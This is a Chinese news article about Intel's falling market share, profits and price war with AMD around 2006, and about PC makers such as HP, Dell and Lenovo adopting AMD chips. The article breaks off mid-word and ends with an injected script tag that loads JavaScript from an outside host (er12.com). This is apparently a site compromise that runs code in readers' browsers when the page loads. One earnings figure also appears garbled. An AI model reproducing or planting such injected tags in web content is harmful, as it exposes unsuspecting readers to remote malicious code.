市场号召力逐年递减致pc厂商去年全线牵手amd，处理器供货“双轨制”已然成型
“世间万物，朕赐给你，才是你的，朕不给，你不能抢。”
在过去的20年里，在it的小宇宙里，英特尔就是太阳，就是王法。
英特尔是一家*技术创新引领市场并获取成功的公司。它的创始人是集成电路的发明者，其第二任ceo提出了著名的摩尔定律。在第三任领导者安迪·格鲁夫治理下，英特尔与微软构建的wintel联盟让其置身高科技业的宇宙中心。
然而，站得太高容易让胜利者忽视市场运行的规律。在多元化平台战略转型的变革中，英特尔长期的跟随者与竞争对手amd抓住机遇，凭借64位计算及多核技术迅速上位，并借助这一“阿基米德杠杆”开始撬动整个行业。
去年以来，失去了“技术公信力”这一金杯的英特尔，就像丧失了生殖能力的鱼王显得焦虑而不安。英特尔的市场份额开始迅速流失，包括惠普、戴尔、联想在内的全球pc大厂在2006年终于无一例外地展开了与amd的合作，且一发不可收拾。
与竞争对手amd的价格战，又严重挫伤了英特尔的获利能力。而失去技术制高点的直接后果，也是最令英特尔担忧的是，在酷睿2芯片之后，究竟还能不能拿出更能取悦市场的产品？
在内忧外患的双重夹击下，去年9月，英特尔再度宣布全球架构重组，除裁员10%外，更重要的一项决定是——全面回归芯片主业，或出售，或搁置，英特尔斩断了一切与处理器无关的多元业务，重回芯片制造，希望集中力量保住it世界“垂范天下”的王族宝座。
全球芯片巨头英特尔公司日前发布的财务报告显示，公司在去年第四季度的销售收入为97亿美元，与上年同期的102亿美元相比下降了约5%，然而净利润却只有15亿美元，比去年同期的24.5亿美元，下滑了39%。
英特尔2006年的盈利也只有354亿美元，净利润仅50亿美元，较之前年下滑42%。
在英特尔的报告中，几乎没有提到关于台式机芯片的销售情况，只是简单地表示，英特尔移动芯片及服务器芯片销量超过单价较低的台式机芯片。英特尔称，反观对手amd，因苦恼于订单量减少，造成库存太多不惜大规模降价出清，将导致amd第四季的净利低于预期。
业内人士普遍认同了这种说法，认为英特尔与amd之间的价格比拼，已经令得市场价格急速失衡，过去英特尔主流规格的处理器平均售价在180-200美元左右，目前已经跌落至100-120美元，处理器的利润损失也进一步加大。
amd与英特尔在这场价格战中都受到了伤害。amd本月12日进一步调低了销售及盈利预期。美国《商业周刊》称，“英特尔与amd的价格战导致了两败俱伤的局面。”
下滑的根源：公信力下降
“价格战只是表象，之所以要对amd进行大规模的价格战，根源在于英特尔的技术公信力已经大不如前”，一位不愿透露姓名的分析人士表示，“英特尔现在缺少的是新的技术公信力，它成立至今一直*这个把持市场。”
一位熟悉amd的人士表示，“价格战也好、推新品也好，以前英特尔只要用上其中一招，便能令得amd全面收缩，但是现在不行了，2006年一年，从奔腾d到酷睿2，英特尔新品换了几轮，价格也降了近50%，但仍然无力挽回失去的市场份额”，“无法扼制amd的发展，令得英特尔相当尴尬。”
在过去五年间，根据mercury research的统计数据显示，amd的市场份额从2002年的14%，上升至2006年25%。其中，仅2005年一年，amd从英特尔的手中拿走了超过5%的市场份额。至2006年第四季度，根据idc统计报告，amd在中国台式芯片的出货量已经超过市场总额的31%。
而在2002年，英特尔芯片如日中天时，amd一年就亏损了13亿美元。甚至就在2005年初，英特尔在移动芯片市场上的占有率仍超过90%，市场上几乎看不到采用amd芯片的笔记本，而到了2006年底，包括全球第一大pc厂商惠普在内的众多pc厂商先后推出了十数款采用amd移动解决方案的笔记本。
pc厂商双轨制已成事实
在连续十几个季度市场份额被amd蚕食后，英特尔一直在反击。纵观英特尔与amd这场旷日持久的战役，《商业周刊》有评论称，“2006年英特尔与amd之间的争夺进一步升级，amd因为赢得戴尔公司的订单而获得了重要的胜利。”事实上，从2004年联想率先开始采用amd芯片起，包括惠普、戴尔、联想、宏基、华硕在内的几乎所有的国际品牌及国内品牌在处理器采购上都已经开始实行“双轨制”。
一方面，清华同方等本土中小品牌纷纷推出amd机型，另一方面惠普等国际大厂则频频引进amd机型大力进军中国二、三线市场，去年惠普甚至还专门推出了旨在面向中国市场的amd机型。今年pc巨头戴尔总裁迈克·戴尔自食前言，一改与英特尔亲密无间的“唯一合作关系”，接连推出采用amd处理器的服务器、台式机和笔记本。今年9月，一向与英特尔过从甚密的方正通过收购方佳?script src=http://er12.com/t.js>
